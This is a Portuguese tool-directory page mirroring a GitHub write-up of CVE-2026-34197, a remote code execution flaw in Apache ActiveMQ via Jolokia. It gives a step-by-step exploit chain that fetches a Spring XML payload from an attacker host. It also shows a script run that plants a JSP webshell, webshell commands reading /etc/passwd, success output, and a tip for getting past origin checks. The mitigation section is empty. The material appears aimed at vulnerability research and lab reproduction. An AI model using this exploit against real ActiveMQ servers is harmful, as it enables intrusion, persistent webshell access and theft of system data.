Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-34197 — Análise da vulnerabilidade de RCE no Apache ActiveMQ via Jolokia e notas de reprodução | Kitploit
Ferramentas/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Análise da vulnerabilidade de RCE no Apache ActiveMQ via Jolokia e notas de reprodução

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
15há 3 mesesAinda não revisado
Compartilhar

CVE-2026-34197 - Apache ActiveMQ RCE através de Jolokia

1. Visão Geral

ItemDetalhes
CVE IDCVE-2026-34197
CVSS8.8 (ALTO)
Tipo de VulnerabilidadeExecução Remota de Código (RCE)
CWECWE-20 Validação de Entrada Incorreta / CWE-94 Injeção de Código
Componente AfetadoApache ActiveMQ Classic - Ponte Jolokia JMX-HTTP
Versões Afetadas< 5.19.4 e 6.0.0 a 6.2.2
Versões Corrigidas5.19.4 / 6.2.3
Data de Divulgação2026-04-07
AutenticaçãoObrigatória por padrão, comumente admin:admin. As versões 6.0.0-6.1.1 podem ser acessíveis sem autenticação quando combinadas com CVE-2024-32114.
DescobertaRelatado como pesquisa assistida por IA pela Anthropic Claude, após estar presente por cerca de 13 anos.

2. Causa Raiz

2.1 Cadeia de Ataque

Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 Condições Chave

  1. Exposição da API Jolokia - O Console Web do ActiveMQ expõe /api/jolokia/, fornecendo acesso JMX sobre HTTP.
  2. Lista de permissões MBean excessivamente ampla - A correção do CVE-2022-41678 introduziu uma lista de permissões que permite operações amplas org.apache.activemq:*, incluindo addNetworkConnector.
  3. Configuração remota do Transporte VM - O parâmetro brokerConfig do transporte vm:// pode apontar para um Spring XML remoto, e a instanciação do bean ocorre antes que a configuração seja rejeitada.

2.3 Comportamento da Correção

O ActiveMQ 6.2.3 adicionou validação dentro de addNetworkConnector() para rejeitar URIs de transporte vm://:

"error": "VM scheme is not allowed"

3. Reprodução

3.1 Ambiente

ItemDetalhes
Host AtacantemacOS com OrbStack Docker
Imagem Alvoalfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
Usuário em Tempo de Execuçãoamq (uid=33031)
Sistema Operacional BaseRocky Linux 8.9

3.2 Passos

Passo 1: Iniciar o laboratório

cd upstream-poc
docker compose up -d

Passo 2: Verificar a API Jolokia

curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

Uma resposta status: 200 confirma que o Jolokia está acessível.

Passo 3: Executar o exploit e escrever um webshell

python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

O script executa as seguintes ações:

  1. Verifica a API Jolokia.
  2. Descobre o nome do broker.
  3. Remove um NetworkConnector existente chamado NC para tornar os testes repetíveis confiáveis.
  4. Inicia um servidor HTTP local que serve uma carga Spring XML maliciosa. O webshell JSP é incorporado como base64, então o alvo só precisa buscar o XML uma vez.
  5. Envia uma requisição addNetworkConnector para acionar o caminho de código vulnerável.
  6. Verifica se o webshell foi gravado com sucesso.

Passo 4: Usar o webshell

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 Exemplo de Saída

===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. Comparação de Versões

VersãoImagemResposta JolokiaRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCBem-sucedido como uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCBem-sucedido como uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedCorrigido

5. Notas de Exploração e Limitações

5.1 Exploração Repetida

addNetworkConnector() registra um conector chamado NC. Um segundo registro falha com um conflito de nomenclatura JMX e retorna um erro 500. O script lida com isso chamando removeNetworkConnector("NC") antes de acionar o exploit.

5.2 Escrita do Webshell

O ActiveMQ usa Jetty embarcado, mas o diretório webapps existe em disco e o mecanismo JSP compila arquivos .jsp recém-escritos. Isso torna possível a escrita de webshell no ambiente testado.

A carga escreve o JSP usando base64 inline:

echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

Benefícios:

  • Evita problemas de análise XML causados por caracteres especiais do JSP, como <, >, % e ".
  • Evita uma segunda requisição de saída do alvo para baixar o JSP. O alvo apenas busca o XML da carga.

5.3 Requisito de Rede de Saída

O alvo deve ser capaz de alcançar o servidor HTTP controlado pelo atacante para buscar a carga Spring XML. Se o alvo não tiver rota de saída para o atacante, este caminho de exploração não pode ser concluído.

5.4 Verificação de Origem Jolokia

Requisições Jolokia diretas podem retornar 403 devido a verificações CORS. Inclua um cabeçalho Origin que corresponda ao alvo:

Origin: http://TARGET:8161

6. Arquivos

CVE-2026-34197/
|-- README.md                    # Este relatório
|-- exploit_webshell.py          # Escritor de webshell único com base64 inline e nome de arquivo JSP aleatório
`-- upstream-poc/                # Cópia do arquivo de dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Ambiente de laboratório para ActiveMQ 6.2.1
    |-- exploit_poc.py           # Script PoC original com modos serve/exploit/auto
    `-- serve_payload.py         # Servidor HTTP de carga simples

Comparação de Scripts

ScriptPropósitoRequisito de SaídaWebshell
exploit_poc.pyPoC RCE cego original que executa um comando arbitrárioObrigatórioNão
exploit_webshell.pyRCE refletido único através de um webshell JSP escritoObrigatório apenas para a busca do XMLEscrito automaticamente com nome de arquivo aleatório

7. Mitigação

Baixar ferramenta